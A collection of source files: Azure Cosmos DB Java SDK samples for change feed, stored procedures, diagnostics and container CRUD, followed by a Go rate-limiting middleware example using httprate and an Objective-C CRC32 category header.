private static final ObjectMapper OBJECT_MAPPER = Utils.getSimpleObjectMapper();
protected static Logger logger = LoggerFactory.getLogger(SampleChangeFeedProcessor.class);
private static ChangeFeedProcessor changeFeedProcessorInstance;
private static boolean isWorkCompleted = false;
public static void main(String[] args) {
logger.info("BEGIN Sample");
try {
//Summary of the next four commands:
//-Create an asynchronous Azure Cosmos DB client and database so that we can issue async requests to the DB
//-Create a "feed container" and a "lease container" in the DB
logger.info("-->CREATE DocumentClient");
CosmosAsyncClient client = getCosmosClient();
logger.info("-->CREATE sample's database: " + DATABASE_NAME);
CosmosAsyncDatabase cosmosDatabase = createNewDatabase(client, DATABASE_NAME);
logger.info("-->CREATE container for documents: " + COLLECTION_NAME);
CosmosAsyncContainer feedContainer = createNewCollection(client, DATABASE_NAME, COLLECTION_NAME);
logger.info("-->CREATE container for lease: " + COLLECTION_NAME + "-leases");
CosmosAsyncContainer leaseContainer = createNewLeaseCollection(client, DATABASE_NAME, COLLECTION_NAME + "-leases");
//Model of a worker thread or application which leases access to monitor one or more feed container
//partitions via the Change Feed. In a real-world application you might deploy this code in an Azure function.
//The next line causes the worker to create and start an instance of the Change Feed Processor. See the implementation of getChangeFeedProcessor() for guidance
//on creating a handler for Change Feed events. In this stream, we also trigger the insertion of 10 documents on a separate
//thread.
logger.info("-->START Change Feed Processor on worker (handles changes asynchronously)");
changeFeedProcessorInstance = getChangeFeedProcessor("SampleHost_1", feedContainer, leaseContainer);
changeFeedProcessorInstance.start()
.subscribeOn(Schedulers.elastic())
.doOnSuccess(aVoid -> {
//pass
})
.subscribe();
//These two lines model an application which is inserting ten documents into the feed container
logger.info("-->START application that inserts documents into feed container");
createNewDocumentsCustomPOJO(feedContainer, 10, Duration.ofSeconds(3));
isWorkCompleted = true;
//This loop models the Worker main loop, which spins while its Change Feed Processor instance asynchronously
//handles incoming Change Feed events from the feed container. Of course in this sample, polling
//isWorkCompleted is unnecessary because items are being added to the feed container on the same thread, and you
//can see just above isWorkCompleted is set to true.
//But conceptually the worker is part of a different thread or application than the one which is inserting
//into the feed container; so this code illustrates the worker waiting and listening for changes to the feed container
long remainingWork = WAIT_FOR_WORK;
while (!isWorkCompleted && remainingWork > 0) {
Thread.sleep(100);
remainingWork -= 100;
}
//When all documents have been processed, clean up
if (isWorkCompleted) {
if (changeFeedProcessorInstance != null) {
changeFeedProcessorInstance.stop().subscribe();
}
} else {
throw new RuntimeException("The change feed processor initialization and automatic create document feeding process did not complete in the expected time");
}
logger.info("-->DELETE sample's database: " + DATABASE_NAME);
deleteDatabase(cosmosDatabase);
Thread.sleep(500);
} catch (Exception e) {
e.printStackTrace();
}
logger.info("END Sample");
}
public static ChangeFeedProcessor getChangeFeedProcessor(String hostName, CosmosAsyncContainer feedContainer, CosmosAsyncContainer leaseContainer) {
return new ChangeFeedProcessorBuilder()
.hostName(hostName)
.feedContainer(feedContainer)
.leaseContainer(leaseContainer)
.handleChanges((List<JsonNode> docs) -> {
logger.info("--->setHandleChanges() START");
for (JsonNode document : docs) {
try {
//Change Feed hands the document to you in the form of a JsonNode
//As a developer you have two options for handling the JsonNode document provided to you by Change Feed
//One option is to operate on the document in the form of a JsonNode, as shown below. This is great
//especially if you do not have a single uniform data model for all documents.
logger.info("---->DOCUMENT RECEIVED: " + OBJECT_MAPPER.writerWithDefaultPrettyPrinter()
.writeValueAsString(document));
//You can also transform the JsonNode to a POJO having the same structure as the JsonNode,
//as shown below. Then you can operate on the POJO.
CustomPOJO2 pojo_doc = OBJECT_MAPPER.treeToValue(document, CustomPOJO2.class);
logger.info("----=>id: " + pojo_doc.getId());
} catch (JsonProcessingException e) {
e.printStackTrace();
}
}
logger.info("--->handleChanges() END");
})
.buildChangeFeedProcessor();
}
public static CosmosAsyncClient getCosmosClient() {
return new CosmosClientBuilder()
.endpoint(SampleConfigurations.HOST)
.key(SampleConfigurations.MASTER_KEY)
.contentResponseOnWriteEnabled(true)
.consistencyLevel(ConsistencyLevel.SESSION)
.buildAsyncClient();
}
public static CosmosAsyncDatabase createNewDatabase(CosmosAsyncClient client, String databaseName) {
CosmosDatabaseResponse databaseResponse = client.createDatabaseIfNotExists(databaseName).block();
return client.getDatabase(databaseResponse.getProperties().getId());
}
public static void deleteDatabase(CosmosAsyncDatabase cosmosDatabase) {
cosmosDatabase.delete().block();
}
public static CosmosAsyncContainer createNewCollection(CosmosAsyncClient client, String databaseName, String collectionName) {
CosmosAsyncDatabase databaseLink = client.getDatabase(databaseName);
CosmosAsyncContainer collectionLink = databaseLink.getContainer(collectionName);
CosmosContainerResponse containerResponse = null;
try {
containerResponse = collectionLink.read().block();
if (containerResponse != null) {
throw new IllegalArgumentException(String.format("Collection %s already exists in database %s.", collectionName, databaseName));
}
} catch (RuntimeException ex) {
if (ex instanceof CosmosException) {
CosmosException CosmosException = (CosmosException) ex;
if (CosmosException.getStatusCode() != 404) {
throw ex;
}
} else {
throw ex;
}
}
CosmosContainerProperties containerSettings = new CosmosContainerProperties(collectionName, "/pk");
CosmosContainerRequestOptions requestOptions = new CosmosContainerRequestOptions();
ThroughputProperties throughputProperties = ThroughputProperties.createManualThroughput(10000);
containerResponse = databaseLink.createContainer(containerSettings, throughputProperties, requestOptions).block();
if (containerResponse == null) {
throw new RuntimeException(String.format("Failed to create collection %s in database %s.", collectionName, databaseName));
}
return databaseLink.getContainer(containerResponse.getProperties().getId());
}
public static CosmosAsyncContainer createNewLeaseCollection(CosmosAsyncClient client, String databaseName, String leaseCollectionName) {
CosmosAsyncDatabase databaseLink = client.getDatabase(databaseName);
CosmosAsyncContainer leaseCollectionLink = databaseLink.getContainer(leaseCollectionName);
CosmosContainerResponse leaseContainerResponse = null;
try {
leaseContainerResponse = leaseCollectionLink.read().block();
if (leaseContainerResponse != null) {
leaseCollectionLink.delete().block();
try {
Thread.sleep(1000);
} catch (InterruptedException ex) {
ex.printStackTrace();
}
}
} catch (RuntimeException ex) {
if (ex instanceof CosmosException) {
CosmosException CosmosException = (CosmosException) ex;
if (CosmosException.getStatusCode() != 404) {
throw ex;
}
} else {
throw ex;
}
}
CosmosContainerProperties containerSettings = new CosmosContainerProperties(leaseCollectionName, "/id");
CosmosContainerRequestOptions requestOptions = new CosmosContainerRequestOptions();
ThroughputProperties throughputProperties = ThroughputProperties.createManualThroughput(400);
leaseContainerResponse = databaseLink.createContainer(containerSettings, throughputProperties, requestOptions).block();
if (leaseContainerResponse == null) {
throw new RuntimeException(String.format("Failed to create collection %s in database %s.", leaseCollectionName, databaseName));
}
return databaseLink.getContainer(leaseContainerResponse.getProperties().getId());
}
public static void createNewDocumentsCustomPOJO(CosmosAsyncContainer containerClient, int count, Duration delay) {
String suffix = RandomStringUtils.randomAlphabetic(10);
for (int i = 0; i <= count; i++) {
CustomPOJO2 document = new CustomPOJO2();
document.setId(String.format("0%d-%s", i, suffix));
document.setPk(document.getId()); // This is a very simple example, so we'll just have a partition key (/pk) field that we set equal to id
containerClient.createItem(document).subscribe(doc -> {
logger.info("---->DOCUMENT WRITE: " + doc);
});
long remainingWork = delay.toMillis();
try {
while (remainingWork > 0) {
Thread.sleep(100);
remainingWork -= 100;
}
} catch (InterruptedException iex) {
// exception caught
break;
}
}
}
}
<|start_filename|>src/main/java/com/azure/cosmos/examples/storedprocedure/sync/SampleStoredProcedure.java<|end_filename|>
// Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT License.
package com.azure.cosmos.examples.storedprocedure.sync;
import com.azure.cosmos.ConsistencyLevel;
import com.azure.cosmos.CosmosClient;
import com.azure.cosmos.CosmosClientBuilder;
import com.azure.cosmos.CosmosContainer;
import com.azure.cosmos.CosmosDatabase;
import com.azure.cosmos.examples.common.AccountSettings;
import com.azure.cosmos.examples.common.CustomPOJO;
import com.azure.cosmos.implementation.Utils;
import com.azure.cosmos.models.CosmosContainerProperties;
import com.azure.cosmos.models.CosmosContainerResponse;
import com.azure.cosmos.models.CosmosDatabaseResponse;
import com.azure.cosmos.models.CosmosStoredProcedureProperties;
import com.azure.cosmos.models.CosmosStoredProcedureRequestOptions;
import com.azure.cosmos.models.CosmosStoredProcedureResponse;
import com.azure.cosmos.models.PartitionKey;
import com.azure.cosmos.models.ThroughputProperties;
import com.azure.cosmos.util.CosmosPagedIterable;
import com.fasterxml.jackson.databind.ObjectMapper;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
public class SampleStoredProcedure {
private CosmosClient client;
private final String databaseName = "SprocTestDB";
private final String containerName = "SprocTestContainer";
private CosmosDatabase database;
private CosmosContainer container;
private String sprocId;
protected static Logger logger = LoggerFactory.getLogger(SampleStoredProcedure.class);
private static final ObjectMapper OBJECT_MAPPER = Utils.getSimpleObjectMapper();
public void close() {
client.close();
}
/**
* Stored Procedure Example
* <p>
* This sample code demonstrates creation, execution, and effects of stored procedures
* using Java SDK. A stored procedure is created which will insert a JSON object into
* a Cosmos DB container. The sample executes the stored procedure and then performs
* a point-read to confirm that the stored procedure had the intended effect.
*/
// <Main>
public static void main(String[] args) {
SampleStoredProcedure p = new SampleStoredProcedure();
try {
p.sprocDemo();
logger.info("Demo complete, please hold while resources are released");
p.shutdown();
logger.info("Done.\n");
} catch (Exception e) {
e.printStackTrace();
logger.error(String.format("Cosmos getStarted failed with %s", e));
p.close();
} finally {
}
}
// </Main>
private void sprocDemo() throws Exception {
//Setup client, DB, and the container for which we will create stored procedures
//The container partition key will be id
setUp();
//Create stored procedure and list all stored procedures that have been created.
createStoredProcedure();
readAllSprocs();
//Execute the stored procedure, which we expect will create an item with id test_doc
executeStoredProcedure();
//Create a stored procedure which takes an array argument and list all stored procedures that have been created
createStoredProcedureArrayArg();
readAllSprocs();
//Execute the stored procedure which takes an array argument
executeStoredProcedureArrayArg();
}
public void setUp() throws Exception {
logger.info("Using Azure Cosmos DB endpoint: " + AccountSettings.HOST);
ArrayList<String> preferredRegions = new ArrayList<String>();
preferredRegions.add("West US");
// Create sync client
// <CreateSyncClient>
client = new CosmosClientBuilder()
.endpoint(AccountSettings.HOST)
.key(AccountSettings.MASTER_KEY)
.preferredRegions(preferredRegions)
.consistencyLevel(ConsistencyLevel.EVENTUAL)
.contentResponseOnWriteEnabled(true)
.buildClient();
logger.info("Create database " + databaseName + " with container " + containerName + " if either does not already exist.\n");
CosmosDatabaseResponse databaseResponse = client.createDatabaseIfNotExists(databaseName);
database = client.getDatabase(databaseResponse.getProperties().getId());
CosmosContainerProperties containerProperties =
new CosmosContainerProperties(containerName, "/city");
ThroughputProperties throughputProperties = ThroughputProperties.createManualThroughput(400);
CosmosContainerResponse containerResponse = database.createContainerIfNotExists(containerProperties, throughputProperties);
container = database.getContainer(containerResponse.getProperties().getId());
}
public void shutdown() throws Exception {
//Safe clean & close
deleteStoredProcedure();
}
public void createStoredProcedure() throws Exception {
logger.info("Creating stored procedure...");
sprocId = "createMyDocument";
String sprocBody = "function createMyDocument() {\n" +
"var documentToCreate = {\"id\":\"test_doc\", \"city\":\"Seattle\"}\n" +
"var context = getContext();\n" +
"var collection = context.getCollection();\n" +
"var accepted = collection.createDocument(collection.getSelfLink(), documentToCreate,\n" +
" function (err, documentCreated) {\n" +
"if (err) throw new Error('Error' + err.message);\n" +
"context.getResponse().setBody(documentCreated.id)\n" +
"});\n" +
"if (!accepted) return;\n" +
"}";
CosmosStoredProcedureProperties storedProcedureDef = new CosmosStoredProcedureProperties(sprocId, sprocBody);
container.getScripts()
.createStoredProcedure(storedProcedureDef,
new CosmosStoredProcedureRequestOptions());
}
public void createStoredProcedureArrayArg() throws Exception {
logger.info("Creating stored procedure...");
sprocId = "createMyDocument";
String sprocBody = "function " + sprocId + "ArrayArg(jsonArray) {\n" +
" var context = getContext();\n" +
" var container = context.getCollection();\n" +
" //validate if input is valid json\n" +
" if (typeof jsonArray === \"string\") {\n" +
" try {\n" +
" jsonArray = JSON.parse(jsonArray);\n" +
" } catch (e) {\n" +
" throw \"Bad input to store procedure should be array of json string.\";\n" +
" }\n" +
" } else {\n" +
" throw \"Bad input to store procedure should be array of json string.\";\n" +
" }\n" +
" var resultDocuments = [];\n" +
" jsonArray.forEach(function(jsonDoc) {\n" +
" if (jsonDoc.isUpdate != undefined && jsonDoc.isUpdate === true) {\n" +
" var accepted = container.replaceDocument(jsonDoc._self, jsonDoc, { etag: jsonDoc._etag },\n" +
" function (err, docReplaced) {\n" +
" if (err) throw new Error('Error' + err.message);\n" +
" resultDocuments.push(docReplaced);\n" +
" });\n" +
" if (!accepted) throw \"Unable to update document, abort \";\n" +
" } else {\n" +
" var accepted = container.createDocument(container.getSelfLink(), jsonDoc,\n" +
" function (err, itemCreated) {\n" +
" if (err) throw new Error('Error' + err.message);\n" +
" resultDocuments.push(itemCreated);\n" +
" });\n" +
" if (!accepted) throw \"Unable to create document, abort \";\n" +
" }\n" +
" });\n" +
" context.getResponse().setBody(resultDocuments);\n" +
"}\n";
CosmosStoredProcedureProperties storedProcedureDef = new CosmosStoredProcedureProperties(sprocId + "ArrayArg", sprocBody);
container.getScripts()
.createStoredProcedure(storedProcedureDef,
new CosmosStoredProcedureRequestOptions());
}
private void readAllSprocs() throws Exception {
logger.info("Listing all stored procedures associated with container " + containerName + "\n");
CosmosPagedIterable<CosmosStoredProcedureProperties> feedResponseIterable =
container.getScripts().readAllStoredProcedures();
Iterator<CosmosStoredProcedureProperties> feedResponseIterator = feedResponseIterable.iterator();
while (feedResponseIterator.hasNext()) {
CosmosStoredProcedureProperties storedProcedureProperties = feedResponseIterator.next();
logger.info(String.format("Stored Procedure: %s", storedProcedureProperties));
}
}
public void executeStoredProcedure() throws Exception {
logger.info(String.format("Executing stored procedure %s...\n\n", sprocId));
CosmosStoredProcedureRequestOptions options = new CosmosStoredProcedureRequestOptions();
options.setPartitionKey(new PartitionKey("Seattle"));
CosmosStoredProcedureResponse executeResponse = container.getScripts()
.getStoredProcedure(sprocId)
.execute(null, options);
logger.info(String.format("Stored procedure %s returned %s (HTTP %d), at cost %.3f RU.\n",
sprocId,
executeResponse.getResponseAsString(),
executeResponse.getStatusCode(),
executeResponse.getRequestCharge()));
}
public void executeStoredProcedureArrayArg() throws Exception {
logger.info(String.format("Executing stored procedure %s...\n\n", sprocId+"ArrayArg"));
String partitionValue = "Seattle";
CosmosStoredProcedureRequestOptions options = new CosmosStoredProcedureRequestOptions();
options.setPartitionKey(new PartitionKey(partitionValue));
List<Object> pojos = new ArrayList<>();
pojos.add(new CustomPOJO("idA", partitionValue));
pojos.add(new CustomPOJO("idB", partitionValue));
pojos.add(new CustomPOJO("idC", partitionValue));
List<Object> sproc_args = new ArrayList<>();
sproc_args.add(OBJECT_MAPPER.writeValueAsString(pojos));
CosmosStoredProcedureResponse executeResponse = container.getScripts()
.getStoredProcedure(sprocId+"ArrayArg")
.execute(sproc_args, options);
logger.info(String.format("Stored procedure %s returned %s (HTTP %d), at cost %.3f RU.\n",
sprocId+"ArrayArg",
executeResponse.getResponseAsString(),
executeResponse.getStatusCode(),
executeResponse.getRequestCharge()));
}
public void deleteStoredProcedure() throws Exception {
logger.info("-Deleting stored procedure...\n");
container.getScripts()
.getStoredProcedure(sprocId)
.delete();
logger.info("-Deleting database...\n");
database.delete();
logger.info("-Closing client instance...\n");
client.close();
logger.info("Done.");
}
}
<|start_filename|>src/main/java/com/azure/cosmos/examples/diagnostics/sync/CosmosDiagnosticsQuickStart.java<|end_filename|>
// Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT License.
package com.azure.cosmos.examples.diagnostics.sync;
import com.azure.cosmos.ConsistencyLevel;
import com.azure.cosmos.CosmosClient;
import com.azure.cosmos.CosmosClientBuilder;
import com.azure.cosmos.CosmosContainer;
import com.azure.cosmos.CosmosDatabase;
import com.azure.cosmos.CosmosDiagnostics;
import com.azure.cosmos.CosmosException;
import com.azure.cosmos.examples.common.AccountSettings;
import com.azure.cosmos.examples.common.Family;
import com.azure.cosmos.models.CosmosContainerProperties;
import com.azure.cosmos.models.CosmosContainerResponse;
import com.azure.cosmos.models.CosmosDatabaseRequestOptions;
import com.azure.cosmos.models.CosmosDatabaseResponse;
import com.azure.cosmos.models.CosmosItemRequestOptions;
import com.azure.cosmos.models.CosmosItemResponse;
import com.azure.cosmos.models.CosmosQueryRequestOptions;
import com.azure.cosmos.models.PartitionKey;
import com.azure.cosmos.models.ThroughputProperties;
import com.azure.cosmos.util.CosmosPagedIterable;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.util.UUID;
public class CosmosDiagnosticsQuickStart {
private CosmosClient client;
private final String databaseName = "AzureSampleFamilyDB";
private final String containerName = "FamilyContainer";
private final String documentId = UUID.randomUUID().toString();
private final String documentLastName = "Witherspoon";
private CosmosDatabase database;
private CosmosContainer container;
private final static Logger logger = LoggerFactory.getLogger(CosmosDiagnosticsQuickStart.class);
public void close() {
client.close();
}
public static void main(String[] args) {
CosmosDiagnosticsQuickStart quickStart = new CosmosDiagnosticsQuickStart();
try {
logger.info("Starting SYNC main");
quickStart.diagnosticsDemo();
logger.info("Demo complete, please hold while resources are released");
} catch (Exception e) {
logger.error("Cosmos getStarted failed with", e);
} finally {
logger.info("Shutting down");
quickStart.shutdown();
}
}
private void diagnosticsDemo() throws Exception {
logger.info("Using Azure Cosmos DB endpoint: {}", AccountSettings.HOST);
// Create sync client
client = new CosmosClientBuilder()
.endpoint(AccountSettings.HOST)
.key(AccountSettings.MASTER_KEY)
.consistencyLevel(ConsistencyLevel.EVENTUAL)
.contentResponseOnWriteEnabled(true)
.buildClient();
createDatabaseIfNotExists();
createContainerIfNotExists();
createDocument();
readDocumentById();
readDocumentDoesntExist();
queryDocuments();
replaceDocument();
upsertDocument();
}
// Database Diagnostics
private void createDatabaseIfNotExists() throws Exception {
logger.info("Creating database {} if not exists", databaseName);
// Create database if not exists
CosmosDatabaseResponse databaseResponse = client.createDatabaseIfNotExists(databaseName);
CosmosDiagnostics diagnostics = databaseResponse.getDiagnostics();
logger.info("Create database diagnostics : {}", diagnostics);
database = client.getDatabase(databaseResponse.getProperties().getId());
logger.info("Done.");
}
// Container create
private void createContainerIfNotExists() throws Exception {
logger.info("Creating container {} if not exists", containerName);
// Create container if not exists
CosmosContainerProperties containerProperties =
new CosmosContainerProperties(containerName, "/lastName");
// Provision throughput
ThroughputProperties throughputProperties = ThroughputProperties.createManualThroughput(400);
// Create container with 200 RU/s
CosmosContainerResponse containerResponse = database.createContainerIfNotExists(containerProperties,
throughputProperties);
CosmosDiagnostics diagnostics = containerResponse.getDiagnostics();
logger.info("Create container diagnostics : {}", diagnostics);
container = database.getContainer(containerResponse.getProperties().getId());
logger.info("Done.");
}
private void createDocument() throws Exception {
logger.info("Create document : {}", documentId);
// Define a document as a POJO (internally this
// is converted to JSON via custom serialization)
Family family = new Family();
family.setLastName(documentLastName);
family.setId(documentId);
// Insert this item as a document
// Explicitly specifying the /pk value improves performance.
CosmosItemResponse<Family> item = container.createItem(family, new PartitionKey(family.getLastName()),
new CosmosItemRequestOptions());
CosmosDiagnostics diagnostics = item.getDiagnostics();
logger.info("Create item diagnostics : {}", diagnostics);
logger.info("Done.");
}
// Document read
private void readDocumentById() throws Exception {
logger.info("Read document by ID : {}", documentId);
// Read document by ID
CosmosItemResponse<Family> familyCosmosItemResponse = container.readItem(documentId,
new PartitionKey(documentLastName), Family.class);
CosmosDiagnostics diagnostics = familyCosmosItemResponse.getDiagnostics();
logger.info("Read item diagnostics : {}", diagnostics);
Family family = familyCosmosItemResponse.getItem();
// Check result
logger.info("Finished reading family " + family.getId() + " with partition key " + family.getLastName());
logger.info("Done.");
}
// Document read doesn't exist
private void readDocumentDoesntExist() throws Exception {
logger.info("Read document by ID : bad-ID");
// Read document by ID
try {
CosmosItemResponse<Family> familyCosmosItemResponse = container.readItem("bad-ID",
new PartitionKey("bad-lastName"), Family.class);
} catch (CosmosException cosmosException) {
CosmosDiagnostics diagnostics = cosmosException.getDiagnostics();
logger.info("Read item exception diagnostics : {}", diagnostics);
}
logger.info("Done.");
}
private void queryDocuments() throws Exception {
logger.info("Query documents in the container : {}", containerName);
String sql = "SELECT * FROM c WHERE c.lastName = 'Witherspoon'";
CosmosPagedIterable<Family> filteredFamilies = container.queryItems(sql, new CosmosQueryRequestOptions(),
Family.class);
// Add handler to capture diagnostics
filteredFamilies = filteredFamilies.handle(familyFeedResponse -> {
logger.info("Query Item diagnostics through handler : {}", familyFeedResponse.getCosmosDiagnostics());
});
// Or capture diagnostics through iterableByPage() APIs.
filteredFamilies.iterableByPage().forEach(familyFeedResponse -> {
logger.info("Query item diagnostics through iterableByPage : {}",
familyFeedResponse.getCosmosDiagnostics());
});
logger.info("Done.");
}
private void replaceDocument() throws Exception {
logger.info("Replace document : {}", documentId);
// Replace existing document with new modified document
Family family = new Family();
family.setLastName(documentLastName);
family.setId(documentId);
family.setDistrict("Columbia"); // Document modification
CosmosItemResponse<Family> itemResponse =
container.replaceItem(family, family.getId(), new PartitionKey(family.getLastName()),
new CosmosItemRequestOptions());
CosmosDiagnostics diagnostics = itemResponse.getDiagnostics();
logger.info("Replace item diagnostics : {}", diagnostics);
logger.info("Request charge of replace operation: {} RU", itemResponse.getRequestCharge());
logger.info("Done.");
}
private void upsertDocument() throws Exception {
logger.info("Replace document : {}", documentId);
// Replace existing document with new modified document (contingent on modification).
Family family = new Family();
family.setLastName(documentLastName);
family.setId(documentId);
family.setDistrict("Columbia"); // Document modification
CosmosItemResponse<Family> itemResponse =
container.upsertItem(family, new CosmosItemRequestOptions());
CosmosDiagnostics diagnostics = itemResponse.getDiagnostics();
logger.info("Upsert item diagnostics : {}", diagnostics);
logger.info("Done.");
}
// Document delete
private void deleteDocument() throws Exception {
logger.info("Delete document by ID {}", documentId);
// Delete document
CosmosItemResponse<Object> itemResponse = container.deleteItem(documentId,
new PartitionKey(documentLastName), new CosmosItemRequestOptions());
CosmosDiagnostics diagnostics = itemResponse.getDiagnostics();
logger.info("Delete item diagnostics : {}", diagnostics);
logger.info("Done.");
}
// Database delete
private void deleteDatabase() throws Exception {
logger.info("Last step: delete database {} by ID", databaseName);
// Delete database
CosmosDatabaseResponse dbResp = client.getDatabase(databaseName).delete(new CosmosDatabaseRequestOptions());
logger.info("Status code for database delete: {}", dbResp.getStatusCode());
logger.info("Done.");
}
// Cleanup before close
private void shutdown() {
try {
//Clean shutdown
deleteDocument();
deleteDatabase();
} catch (Exception err) {
logger.error("Deleting Cosmos DB resources failed, will still attempt to close the client", err);
}
client.close();
logger.info("Done with sample.");
}
}
<|start_filename|>src/main/java/com/azure/cosmos/examples/containercrud/sync/resolver.js<|end_filename|>
function resolver(incomingItem, existingItem, isTombstone, conflictingItems) {
var collection = getContext().getCollection();
if (!incomingItem) {
if (existingItem) {
collection.deleteDocument(existingItem._self, {}, function (err, responseOptions) {
if (err) throw err;
});
}
} else if (isTombstone) {
// delete always wins.
} else {
if (existingItem) {
if (incomingItem.myCustomId > existingItem.myCustomId) {
return; // existing item wins
}
}
var i;
for (i = 0; i < conflictingItems.length; i++) {
if (incomingItem.myCustomId > conflictingItems[i].myCustomId) {
return; // existing conflict item wins
}
}
// incoming item wins - clear conflicts and replace existing with incoming.
tryDelete(conflictingItems, incomingItem, existingItem);
}
function tryDelete(documents, incoming, existing) {
if (documents.length > 0) {
collection.deleteDocument(documents[0]._self, {}, function (err, responseOptions) {
if (err) throw err;
documents.shift();
tryDelete(documents, incoming, existing);
});
} else if (existing) {
collection.replaceDocument(existing._self, incoming,
function (err, documentCreated) {
if (err) throw err;
});
} else {
collection.createDocument(collection.getSelfLink(), incoming,
function (err, documentCreated) {
if (err) throw err;
});
}
}
}
<|start_filename|>src/main/java/com/azure/cosmos/examples/analyticalcontainercrud/sync/AnalyticalContainerCRUDQuickstart.java<|end_filename|>
// Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT License.
package com.azure.cosmos.examples.analyticalcontainercrud.sync;
import com.azure.cosmos.ConsistencyLevel;
import com.azure.cosmos.CosmosClient;
import com.azure.cosmos.CosmosClientBuilder;
import com.azure.cosmos.CosmosContainer;
import com.azure.cosmos.CosmosDatabase;
import com.azure.cosmos.examples.common.AccountSettings;
import com.azure.cosmos.models.CosmosContainerProperties;
import com.azure.cosmos.models.CosmosContainerRequestOptions;
import com.azure.cosmos.models.CosmosContainerResponse;
import com.azure.cosmos.models.CosmosDatabaseRequestOptions;
import com.azure.cosmos.models.CosmosDatabaseResponse;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
public class AnalyticalContainerCRUDQuickstart {
private CosmosClient client;
private final String databaseName = "AzureSampleFamilyDB";
private final String containerName = "FamilyContainer";
private CosmosDatabase database;
protected static Logger logger = LoggerFactory.getLogger(AnalyticalContainerCRUDQuickstart.class);
public void close() {
client.close();
}
/**
* Sample to demonstrate the following ANALYTICAL STORE container CRUD operations:
* -Create
* -Update throughput
* -Read by ID
* -Read all
* -Delete
*/
public static void main(String[] args) {
AnalyticalContainerCRUDQuickstart p = new AnalyticalContainerCRUDQuickstart();
try {
logger.info("Starting SYNC main");
p.containerCRUDDemo();
logger.info("Demo complete, please hold while resources are released");
} catch (Exception e) {
e.printStackTrace();
logger.error(String.format("Cosmos getStarted failed with %s", e));
} finally {
logger.info("Closing the client");
p.shutdown();
}
}
private void containerCRUDDemo() throws Exception {
logger.info("Using Azure Cosmos DB endpoint: " + AccountSettings.HOST);
// Create sync client
client = new CosmosClientBuilder()
.endpoint(AccountSettings.HOST)
.key(AccountSettings.MASTER_KEY)
.consistencyLevel(ConsistencyLevel.EVENTUAL)
.contentResponseOnWriteEnabled(true)
.buildClient();
createDatabaseIfNotExists();
createContainerIfNotExists();
// deleteAContainer() is called at shutdown()
}
// Database Create
private void createDatabaseIfNotExists() throws Exception {
logger.info("Create database " + databaseName + " if not exists...");
// Create database if not exists
CosmosDatabaseResponse databaseResponse = client.createDatabaseIfNotExists(databaseName);
database = client.getDatabase(databaseResponse.getProperties().getId());
logger.info("Done.");
}
// Container create
private void createContainerIfNotExists() throws Exception {
logger.info("Create container " + containerName + " if not exists.");
// Create container if not exists
CosmosContainerProperties containerProperties =
new CosmosContainerProperties(containerName, "/lastName");
// Set analytical store properties
containerProperties.setAnalyticalStoreTimeToLiveInSeconds(-1);
// Create container
CosmosContainerResponse databaseResponse = database.createContainerIfNotExists(containerProperties);
CosmosContainer container = database.getContainer(databaseResponse.getProperties().getId());
logger.info("Done.");
}
// Container delete
private void deleteAContainer() throws Exception {
logger.info("Delete container " + containerName + " by ID.");
// Delete container
CosmosContainerResponse containerResp = database.getContainer(containerName).delete(new CosmosContainerRequestOptions());
logger.info("Status code for container delete: {}",containerResp.getStatusCode());
logger.info("Done.");
}
// Database delete
private void deleteADatabase() throws Exception {
logger.info("Last step: delete database " + databaseName + " by ID.");
// Delete database
CosmosDatabaseResponse dbResp = client.getDatabase(databaseName).delete(new CosmosDatabaseRequestOptions());
logger.info("Status code for database delete: {}",dbResp.getStatusCode());
logger.info("Done.");
}
// Cleanup before close
private void shutdown() {
try {
//Clean shutdown
deleteAContainer();
deleteADatabase();
} catch (Exception err) {
logger.error("Deleting Cosmos DB resources failed, will still attempt to close the client. See stack trace below.");
err.printStackTrace();
}
client.close();
logger.info("Done with sample.");
}
}
<|start_filename|>src/main/java/com/azure/cosmos/examples/common/Compress.java<|end_filename|>
// Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT License.
package com.azure.cosmos.examples.common;
public class Compress {
public static void compress() {
}
public static void decompress() {
}
}
| RaviTella/azure-cosmos-java-sql-api-samples |
<|start_filename|>_example/main.go<|end_filename|>
package main
import (
"context"
"net/http"
"time"
"github.com/go-chi/chi"
"github.com/go-chi/chi/middleware"
"github.com/go-chi/httprate"
)
func main() {
r := chi.NewRouter()
r.Use(middleware.Logger)
// Overall rate-limiter, keyed by IP and URL path (aka endpoint).
//
// This means each user (by IP) will receive a unique limit counter per endpoint.
// r.Use(httprate.Limit(10, 10*time.Second, httprate.WithKeyFuncs(httprate.KeyByIP, httprate.KeyByEndpoint)))
r.Route("/admin", func(r chi.Router) {
r.Use(func(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
// Note: this is a mock middleware to set a userID on the request context
next.ServeHTTP(w, r.WithContext(context.WithValue(r.Context(), "userID", "123")))
})
})
// Here we set a specific rate limit by ip address and userID
r.Use(httprate.Limit(
10,
10*time.Second,
httprate.WithKeyFuncs(httprate.KeyByIP, func(r *http.Request) (string, error) {
token := r.Context().Value("userID").(string)
return token, nil
}),
httprate.WithLimitHandler(func(w http.ResponseWriter, r *http.Request) {
// We can send custom responses for the rate limited requests, e.g. a JSON message
w.Header().Set("Content-Type", "application/json")
w.WriteHeader(http.StatusTooManyRequests)
w.Write([]byte(`{"error": "Too many requests"}`))
}),
))
r.Get("/", func(w http.ResponseWriter, r *http.Request) {
w.Write([]byte("admin."))
})
})
r.Group(func(r chi.Router) {
// Here we set another rate limit for a group of handlers.
//
// Note: in practice you don't need to have so many layered rate-limiters,
// but the example here is to illustrate how to control the machinery.
r.Use(httprate.LimitByIP(3, 5*time.Second))
r.Get("/", func(w http.ResponseWriter, r *http.Request) {
w.Write([]byte("."))
})
})
http.ListenAndServe(":3333", r)
}
| yaronius/httprate |
<|start_filename|>Candy/Classes/Expand/Extensions/Private/NSData/NSData+CRC32.h<|end_filename|>
//
// NSData+CRC32.h
// CRC32_iOS
//
// Created by 宣佚 on 15/7/14.
// Copyright (c) 2015年 宣佚. All rights reserved.
//
#import <Foundation/Foundation.h>
#import <zlib.h>
@interface NSData (CRC32)
- (uLong)getCRC32;
@end
